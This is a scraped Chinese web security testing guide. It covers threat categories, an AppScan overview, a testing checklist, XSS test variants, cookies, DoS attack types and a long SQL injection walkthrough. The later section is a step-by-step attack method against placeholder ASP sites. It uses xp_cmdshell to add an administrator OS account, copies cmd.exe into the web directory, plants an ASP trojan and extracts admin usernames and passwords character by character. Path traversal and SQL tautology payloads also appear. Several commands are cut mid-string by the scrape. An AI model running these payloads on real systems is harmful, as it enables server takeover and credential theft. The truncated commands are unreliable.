web安全测试要点

上传人:猪** 文档编号:74951200 上传时间:2022-04-14 格式:DOC 页数:17 大小:136KB
收藏 版权申诉 举报 下载
web安全测试要点_第1页
第1页 / 共17页
web安全测试要点_第2页
第2页 / 共17页
web安全测试要点_第3页
第3页 / 共17页
资源描述:

《web安全测试要点》由会员分享,可在线阅读,更多相关《web安全测试要点(17页珍藏版)》请在装配图网上搜索。

1、一、 Web 应用安全威胁分为如下六类:Authentication(验证) 用来确认某用户、服务或是应用身份的攻击手段。 Authorization(授权) 用来决定是否某用户、服务或是应用具有执行请求动作必要权限的攻击手段。 Client-Side Attacks(客户侧攻击)用来扰乱或是探测 Web 站点用户的攻击手段。 Command Execution(命令执行) 在 Web 站点上执行远程命令的攻击手段。 Information Disclosure(信息暴露) 用来获取 Web 站点具体系统信息的攻击手段。 Logical Attacks(逻辑性攻击) 用来扰乱或是探测 Web

2、应用逻辑流程的攻击手段二、 常见针对 Web 应用攻击的十大手段应用威胁负面影响后果跨网站脚本攻击标识盗窃,敏感数据丢失黑客可以模拟合法用户,控制其帐户。注入攻击通过构造查询对数据库、LDAP 和其他系统进行非法查询。黑客可以访问后端数据库信息,修改、盗窃。恶意文件执行在服务器上执行 Shell 命令 Execute,获取控制权。被修改的站点将所有交易传送给黑客不安全对象引用黑客访问敏感文件和资源Web 应用返回敏感文件内容伪造跨站点请求黑客调用 Blind 动作,模拟合法用户黑客发起 Blind 请求,要求进行转帐信息泻露和不正确的错误处理黑客得到详细系统信息恶意的系统检测可能有助于更深入的

3、攻击被破坏的认证和 Session 管理Session token 没有被很好的保护在用户推出系统后,黑客能够盗窃 session。不安全的木马存储过于简单的加密技术导致黑客破解编密码隐秘信息被黑客解密盗窃不安全的通讯敏感信息在不安全通道中以非加密方式传送黑客可以通过嗅探器嗅探敏感信息,模拟合法用户。URL 访问限制失效黑客可以访问非授权的资源连接黑客可以强行访问一些登陆网页、历史网页。三、 Rational AppScan功能简介 Rational AppScan 同时提供了很多高级功能,帮助客户对复杂应用进行检测。支持的扫描配置有: Starting URL:起始 URL,制定被测应用的起

4、始地址 Custom Error Pages:制定错误网页提高测试效率 Session IDs:管理测试过程中的 session Automatic Server Detection:自动检测应用所在的应用服务器、web server、操作系统 Exclusion and Inclusion:制定哪些 Web 被扫描或者被排除,哪些文件类型不被扫描 Scan Limits:其他高级扫描限制,例如扫描次数限制等 Advanced:扫描的方式,是宽度扫描还是深度扫描 Communication Settings:对扫描中的延时、线程数量进行配置 Proxy Settings:代理设置vLogin/

5、logout:对被测应用的登陆进行设置,可以采用录制回放的方式、也可以使用自动登陆的方式 configure a Test Policy: 配置测试测量,即想测试哪些漏洞。 四、 Web安全体系测试一个完整的Web安全体系测试可以从部署与基础结构,输入验证,身份验证,授权,配置管理,敏感数据,会话管理,加密,参数操作,异常管理,审核和日志记录等几个方面入手。数据加密:某些数据需要进行信息加密和过滤后才能进行数据传输,例如用户信用卡信 息、用户登陆密码信息等。此时需要进行相应的其他操作,如存储到数据库、解密发送要用户电子邮箱或者客户浏览器。目前的加密算法越来越多,越来越复杂,但一般数据加密的过程

6、时可逆的,也就是说能进行加密,同时需要能进行解密!注:对登陆帐户和密码进行加密,可在后台数据库查看是否进行了加密。登录: 一般的应用站点都会使用登录或者注册后使用的方式,因此,必须对用户名 和匹配的密码进行校验,以阻止非法用户登录。在进行登陆测试的时候,需要考虑输入的密码是否对大小写敏感、是否有长度和条件限制,最多可以尝试多少次登录,哪些页面或者文件需要登录后才能访问/下载等。超时限制:WEB应用系统需要有是否超时的限制,当用户长时间不作任何操作的时候, 需要重新登录才能使用其功能。SSL: 越来越多的站点使用SSL安全协议进行传送。SSL是Security Socket Lauer(安全套接

7、字协议层)的缩写,是由Netscape首先发表的网络数据安全传输协议。SSL是利用公开密钥/私有密钥的加密技术。(RSA),在位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。进入一个SSL站点后,可以看到浏览器出现警告信息,然后地址栏的http变成https,在做SSL测试的时候,需要确认这些特点,以及是否有时间链接限制等一系列相关的安全保护。服务器脚本语言:脚本语言是常见的安全隐患。每种语言的细节有所不同。有些脚本允许访问根目录。其他只允许

8、访问邮件服务器,但是经验丰富的黑客可以将服务器用户名和口令发送给他们自己。找出站点使用了哪些脚本语言,并研究该语言的缺陷。还要需要测试没有经过授权,就不能在服务器端放置和编辑脚本的问题。最好的办法是订阅一个讨论站点使用的脚本语言安全性的新闻组。 注:黑客利用脚本允许访问根目录的这个安全隐患特性攻击网站。这个网站包含了脚本代码(有允许访问根目录的特性)就可能有这个安全隐患。日志文件:在服务器上,要验证服务器的日志是否正常工作,例如CPU的占用率是否很高,是否有例外的进程占用,所有的事务处理是否被记录等。目录: WEB的目录安全是不容忽视的一个因素。如果WEB程序或WEB服务器的处理不适当,通过简

9、单的URL替换和推测,会将整个WEB目录完全暴露给用户,这样会造成很大的风险和安全性隐患。我们可以使用一定的解决方式,如在每个目录访问时有index.htm,或者严格设定WEB服务器的目录访问权限,将这种隐患降低到最小程度。 注:每个目录访问时有index.htm目的:通过首页中的登陆验证功能进行访问权限控制。五、 web安全测试的checklist1. 不登录系统,直接输入登录后的页面的url是否可以访问 2. 不登录系统,直接输入下载文件的url是否可以下载,如输入http:/url/download?name=file是否可 以下载文件file3. 退出登录后按后退按钮能否访问之前的页面

10、4. ID/密码验证方式中能否使用简单密码。如密码标准为6位以上,字母和数字混合,不能包含ID,连续的字母或数字不能超过n位5. 重要信息(如密码,身份证号码,信用卡号等)在输入或查询时是否用明文显示;在浏览器地址栏里输入命令javascrpt:alert(doucument.cookie)时是否有重要信息;在html源码中能否看到重要信息6. 手动更改URL中的参数值能否访问没有权限访问的页面。如普通用户对应的url中的参数为l=e,高级用户对应的url中的参数为l=s,以普通用户的身份登录系统后将url中的参数e改为s来访问本没有权限访问的页面7. url里不可修改的参数是否可以被修改,

11、浏览器缓存:认证和会话数据不应该作为GET的一部分来发送,应该使用POST8. 上传与服务器端语言(jsp、asp、php)一样扩展名的文件或exe等可执行文件后,确认在服务器端是否可直接运行9. 注册用户时是否可以以-, or 1=1 -等做为用户名10. 传送给服务器的参数(如查询关键字、url中的参数等)中包含特殊字符(,and 1=1 -, and 1=0 -,or 1=0 -)时是否可以正常处理11. 执行新增操作时,在所有的输入框中输入脚本标签(alert())后能否保存12. 在url中输入下面的地址是否可以下载:http:/url/download.jsp?file=C:win

12、dowssystem32driversetchosts,http:/url/download.jsp?file=/etc/passwd13. 是否对session的有效期进行处理14. 错误信息中是否含有sql语句、sql错误信息以及web服务器的绝对路径等15. ID/密码验证方式中,同一个账号在不同的机器上不能同时登录16. ID/密码验证方式中,连续数次输入错误密码后该账户是否被锁定17. 新增或修改重要信息(密码、身份证号码、信用卡号等)时是否有自动完成功能(在form标签中使用autocomplete=off来关闭自动完成功能18.Email Header Injection(邮件标

13、头注入) Email Header Injection:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题), 我们要验证subject中应能escape掉“n”标识。 因为“n”是新行,如果在subject中输入“helloncc:spamvictim”,可能会形成以下Subject: hellocc: spamvictim 如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。19. Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“./”

14、和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。 测试方法:在URL中输入一定数量的“./”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。 (2)如何预防目录遍历?限制Web应用在服务器上的运行 进行严格的输入验证,控制用户输入非法路径 20. exposed error messages(错误信息) (1)如何进行测试?首先找到一些错误页面,比如404,或500页面。 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。 (2)如何预防?测试人员在进行需求检查时,应该对出错信息进行详细查

15、,比如是否给出了出错信息,是否给出了正确的出错信息。六、 跨站点脚本攻击测试要点 1.确定站点及其功能 - 与开发人员和 PM 交流 绘制一些简单的数据流图表,对站点上的页面及其功能进行描述。此时,可以安排一些与开发人员和项目经理的会议来建立威胁模型。在会议上尽可能对应用程序进行深入探讨。站点公开了 Web 服务吗?是否有身份验证表单?有留言板吗?有用户设置页面吗?确保列出了所有这些页面 2. 找出并列出所有由用户提供输入的点 对站点地图进行进一步细化。我通常会为此创建一个电子表格。对于每个页面,列出所有查询字符串参数、cookie 值、自定义 HTTP 标头、POST 数据值和以其他形式传递

16、的用户输入。不要忘记搜索 Web 服务和类似的 SOAP 请求,并找出所有允许用户输入的字段。 分别列出每个输入参数,因为下面需要独立测试每个参数。这可能是最重要的一个步骤!如果阅读下面的电子表格,您会看到我已经在示例站点中找出了一大堆这样的东西。如 forwardURL 和 lang 这样的查询字符串。如 name、password、msgBody、msgTitle 和这样的 POST 数据,甚至某些 Cookie 值。所有这些都是我们感兴趣的重要测试内容 3. 认真思考并列出测试用例 4. 开始测试并注意输出结果 在查找漏洞的过程中,最重要的部分并不是您是否找到了漏洞。而是您是否真正知道究

17、竟发生了哪些事情。对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?我会检查所有这些情况,如果您对所输入内容的目的十分了解,可以调整您的测试来找出问题。这意味着您可能需要添加一个额外的封闭括号“”来让某个标记变得完整,或者添加一个双引号来关闭标记内的一个元素。或者,您可能需要使用 URL 或 HTML 来编码您的字符,例如将双引号变为 %22 或 。 5. 这个站点看来防范比较严密。现在该怎么办呢? 那么,

18、也许您的简单测试用例 alert(hi) 并不能产生期望中的警告对话框。仔细想想这个问题并在可能的情况下与开发人员进行交流。也许他们对输入中的尖括号、单引号或圆括号进行了过滤。也许他们会过滤“scrpt”这个词。重新研究为何输入会产生这样的输出,并理解每个值(查询字符串、cookie、POST 数据)的作用。“pageId=10”这样的查询字符串值可能对输出没有影响,因此不值得花费时间测试它。有时,最好试着注入单个字符(例如尖括号、双引号标记或者圆括号),看看应用程序是否过滤这些字符。然后,便可以知道您面对的过滤级别究竟如何。接着,可以调整测试方法,对这些字符进行编码并重试,或者寻找其他注入办

19、法。 改变测试用例 我恐怕无法充分对此进行说明:研究输入的值会输出什么样的 HTML 页面非常重要。如果它们不能产生输出,那么不要在它们上面浪费时间。如果可以,请进行研究,因为您需要根据输出对测试进行相应的修改。我使用了各种变化形式来找出能接受和显示脚本代码的参数。因为这涉及太多内容,因此在这里无法一一进行讨论,但是请务必注意以下几种情况: 1.alert(XSS) 2.%22%273. 4.AK%22%20style%3D%22background:url(javascrpt:alert(%27XSS%27)%22%20OS%22 5.%22%2Balert(%27XSS%27)%2B%22

20、 6. 7. 8.有许多变化形式可以尝试。关键在于了解程序究竟使用何种方式处理输入和显示输出页面。如同这些例子所展示的,常见的变化形式经常是在脚本代码前面加上 “”,以尝试封闭网站可能在输出中生成的标记。还可以对代码进行 URL 编码,尝试绕过服务器端的输入过滤功能。此外,因为尖括号“”通常会在输入时被过滤和从输出中删除,所以还必须尝试不需要尖括号的 XSS,例如 ”&alert(XSS);”持久和动态 找出一个成功的 XSS 颇费周折,因为在开始时 XSS 攻击可能并不是那么显而易见的。随便举一个例子,如果向网站添加一条新留言并在“msgTitle”值中注入代码,在提交数据后,您可能不会立即

21、看到脚本代码被执行。但是,当您访问留言板的时侯,将会在 HTML 页面中使用“msgTitle”值并将其作为脚本代码执行。这种情况被称作持久性 XSS 攻击,如果包含脚本代码的值将被保存到客户端或者后端系统并在稍候的时间被执行,便会发生此种攻击。而与此相对的是动态 XSS 攻击,这种攻击会立即执行并只发生一次。比如,如果某个链接或 GET 请求在某个用来控制页面输出的查询字符串中包含了脚本代码,那么在点击链接后会立即显示输出。七、 Cookie:什么是cookie?Cookie是Web网站放在您的硬盘上的程序。它守在您的电脑里,搜集您的信息以及您在因特网上所做的任何事情,当Web站点需要的时候

22、它能够下载所有这些搜集到的信息。Cookie设置方式: 1、持续的和非持续的以及安全的和非安全的。 2、浏览器会把持续的cookie存放在客户机本地的硬盘上。 3、浏览器会在非持续的cookie关闭的时候将其删除(存放在内存中)。 4、cookie本身不是安全的,但是浏览器可以通过https(http+ssh)完成。IE的cookie存放格式:usernamesitename1.txtIE的cookie采用了从1601年1月1日开始的以100纳秒为单位的计时增量cookie欺骗可以有多种途径:、跳过浏览器,直接对通讯数据改写。、修改浏览器,让浏览器从本地可以读写任意域名cookie。、使用签名

23、脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)。、欺骗浏览器,让浏览器获得假的域名。八、 跨站点攻击:什么是跨站点脚本攻击: 是一种通过虚假的WEB页面内容伪装用户的常用方法。 XSS 攻击的过程涉及以下三方:攻击者受害者存在漏洞的网站(攻击者可以使用它对受害者采取行动)在这三方之中,只有受害者会实际运行攻击者的代码。网站仅仅是发起攻击的一个载体,一般不会受到影响。可以用多种方式发起 XSS 攻击例如,攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意 URL。当受害者在 Web 浏览器中打开该 URL 的时侯,网站会显示一个页面并在受害者的计算机上执行脚

24、本。XSS 攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息恶意的 JavaScript 可以访问任何下列信息:浏览器维护的永久 cookies 浏览器实例维护的RAM cookies,但只有当最近浏览时发生。当关闭浏览器的时候,RAM cookie不存在。 攻击方式:1,除了 .,黑客可以使用 。这对于过滤 HTML 标签的站点来说很好用。 2,除了 .,还可以使用 。这对于 JavaScript 代码过长,或者其中包含了禁止字符时的情况是很好用的。3,XSS 攻击可以出现在用脚本回送响应的 GET 请求的参数中。但是也可以用 POST 请求

25、实现攻击,或者利用 HTTP 请求的路径组件 甚至使用一些 HTTP 头。防护措施:避免这种攻击的一个办法是web开发人员从用户提交的输入数据中过滤掉代码。九、 DOS攻击:什么是DOS攻击:DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请

26、求。DOS攻击方式:1、 Synflood: 该攻击以多个随机的源主机地址向目的主机发送SYN包,而在收到目的主机的SYN ACK后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到ACK一直维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。2、 Smurf:该攻击向一个子网的广播地址发一个带有特定请求(如ICMP回应请求)的包,并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包,使该主机受到攻击。3、 Land-based:攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过IP欺骗的方式发送给被攻击

27、主机,这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环,从而很大程度地降低了系统性能。 4、 Ping of Death:根据TCP/IP的规范,一个包的长度最大为65536字节。尽管一个包的长度不能超过65536字节,但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于65536字节的包时,就是受到了Ping of Death攻击,该攻击会造成主机的宕机。 5、 Pingflood: 该攻击在短时间内向目的主机发送大量ping包,造成网络堵塞或主机资源耗尽。十、 暴力破解解决办法:通过分析sshd的日志文件(/var/log/secure),当发现重复的攻击时,就会记录I

28、P到/etc/hosts.deny文件,启用TCP_wrappers,从而达到自动屏蔽IP的功能工具:十一、 sql注入SQL注入攻击的总体思路1、发现SQL注入位置;2、判断后台数据库类型;3、确定XP_CMDSHELL可执行情况4、发现WEB虚拟目录5、上传ASP木马;6、得到管理员权限;SQL注入攻击的步骤一、SQL注入漏洞的判断只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。为了把问题说明清楚,以下以HTTP:/xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY

29、可能是整型,也有可能是字符串。1、整型参数的判断当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。HTTP:/xxx.xxx.xxx/abc.asp?p=YY(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY,abc.asp运行异常; HTTP:/xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP:/xxx.xxx.xxx/abc.asp?p=YY运行结果相

30、同; HTTP:/xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。2、字符串型参数的判断当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。HTTP:/xxx.xxx.xxx/abc.asp?p=YY(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY,abc.asp运行异常;HTTP:/xxx.xxx.xxx

31、/abc.asp?p=YY&nb . 39;1=1, abc.asp运行正常,而且与HTTP:/xxx.xxx.xxx/abc.asp?p=YY运行结果相同;HTTP:/xxx.xxx.xxx/abc.asp?p=YY&nb . 39;1=2, abc.asp运行异常;如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。3、特殊情况的处理有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替s

32、elect,SELECT等;UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等; ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)二、分析数据库服务器类型 1、利用数据库服务器的系统变量进行区分SQLSERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如: HTTP:/xxx.xxx.xxx/abc.asp?p=YY and user0 不仅可以判断是

33、否是SQL-SERVER,而还可以得到当前连接到数据库的用户名 HTTP:/xxx.xxx.xxx/abc.asp?p=YY&n . db_name()0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;2、利用系统表ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)0HTTP:/xxx.xxx.xxx/abc

34、.asp?p=YY and (select count(*) from msysobjects)0若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。3、MSSQL三个关键系统表 sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中 保存了所有的库名,以及库的ID

35、和一些相关信息。 这里我把对于我们有用的字段名称和相关说明给大家列出来。name /表示库的名字。 dbid /表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。 Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。 syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。

36、该表位于每个数据库中。主要字段有: name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是我们用sysobjects得到的表的ID号。用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。三、确定XP_CMDSHELL可执行情况 若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,

37、以后的所有步骤都可以省1、HTTP:/xxx.xxx.xxx/abc.asp?p=YY&nb . er0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。2、HTTP:/xxx.xxx.xxx/abc.asp?p=YY . me()0 abc.asp执行异常但可以得到当前连接的数据库名。3、HTTP:/xxx.xxx.xxx/abc.asp?p=YY;exec master.xp_cmdshell “net user aaa bbb /add”- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其

38、后面的语句;“”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。4、HTTP:/xxx.xxx.xxx/abc.asp?p=YY;exec master.xp_cmdshell “net localgroup administrators aaa /add”- 把刚刚增加的帐户aaa加到administrators组中。5 HTTP:/xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk=c:inetpubwwwrootsave.db 则把得到的数据内容全部备份到WEB目录下,再用HTT

39、P把此文件下载(当然首选要知道WEB虚拟目录)。6、通过复制CMD创建UNICODE漏洞HTTP:/xxx.xxx.xxx/abc.asp?p=YY;exe . dbo.xp_cmdshell “copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。四、发现WEB虚拟目录只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubw

40、wwroot; D:inetpubwwwroot; E:inetpubwwwroot等。而可执行虚拟目录是:c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;先创建一个临时表:tempHTTP:/xxx.xxx.xxx/abc.asp?p=YY;create&n . mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);-接下来: (1)利用xp_availablemedia来获得当前

41、所有驱动器,并存入temp表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert temp . ter.dbo.xp_availablemedia;- 我们可以通过查询temp的内容来获得驱动器列表及相关信息 (2)利用xp_subdirs获得子目录列表,并存入temp表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i . dbo.xp_subdirs c:;- (3)利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert

42、 into temp(id,num1) exec master.dbo.xp_dirtree c:;- 注意:1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;delete from temp;-2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top& . nbsp;TestDB.dbo.temp )0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id

43、字段的值。假设发现的表名是xyz,则HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from . ere id not in(xyz)0 得到表TEMP中第二条记录id字段的值。五、上传ASP木马所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:1、利用WEB的远程管理功能许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限

44、。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。A、 注入法:从理论上说,认证网页中会有型如:select * from admin where username=XXX and password=YYY 的语句,若在正式运行此句之前,没有

45、进行必要的字符过滤,则很容易实施SQL注入。如在用户名文本框内输入:abc or 1=1- 在密码框内输入:123 则SQL语句变成:select * from admin where username=abc or 1=1 and password=123 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。B、猜解法:基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。猜解所有数据库名称HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select cou

46、nt(*) from master.dbo.sysdatabases where name1 and dbid=6) 0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12就可得到所有数据库名。以下假设得到的数据库名是TestDB。猜解数据库中用户名表的名称 猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlis

47、t,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB

48、进行访问。 当xtype=U and status0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD . type=U and status0 )0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.

49、sysobjects& . tatus0 and name not in(xyz)0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。l 猜解用户名字段及密码字段名称admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass

50、,pwd,passwd等。并通过语句进行判断HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)0 “select count(字段名) from 表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。读取法:基本的实现方法是HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select . me(object_id(admin),1) from TestDB.dbo.sysobjects)0 。select top

51、 1 col_name(object_id(admin),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id(admin),1)中的1依次换成2,3,4,5,6就可得到所有的字段名称。2 猜解用户名与密码猜用户名与密码的内容最常用也是最有效的方法有:ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

52、HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top&n . nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5, n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入 HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top . e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8HTTP:/xxx.xxx.xxx/abc.asp?p=YY a

53、nd (sel . ascii(substring(username,m,1) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,时猜测分别猜测第1,2,3,位的值;n的值是19、az、AZ的ASCII值,也就是1128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,3,1) from TestDB.dbo.a

54、dmin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,9,1) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP:/xxx.xxx.xxx/ab

55、c.asp?p=YY and (select top 1 . o.admin where username1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。猜用户密码:HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb . B.dbo.admin where pwd1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方

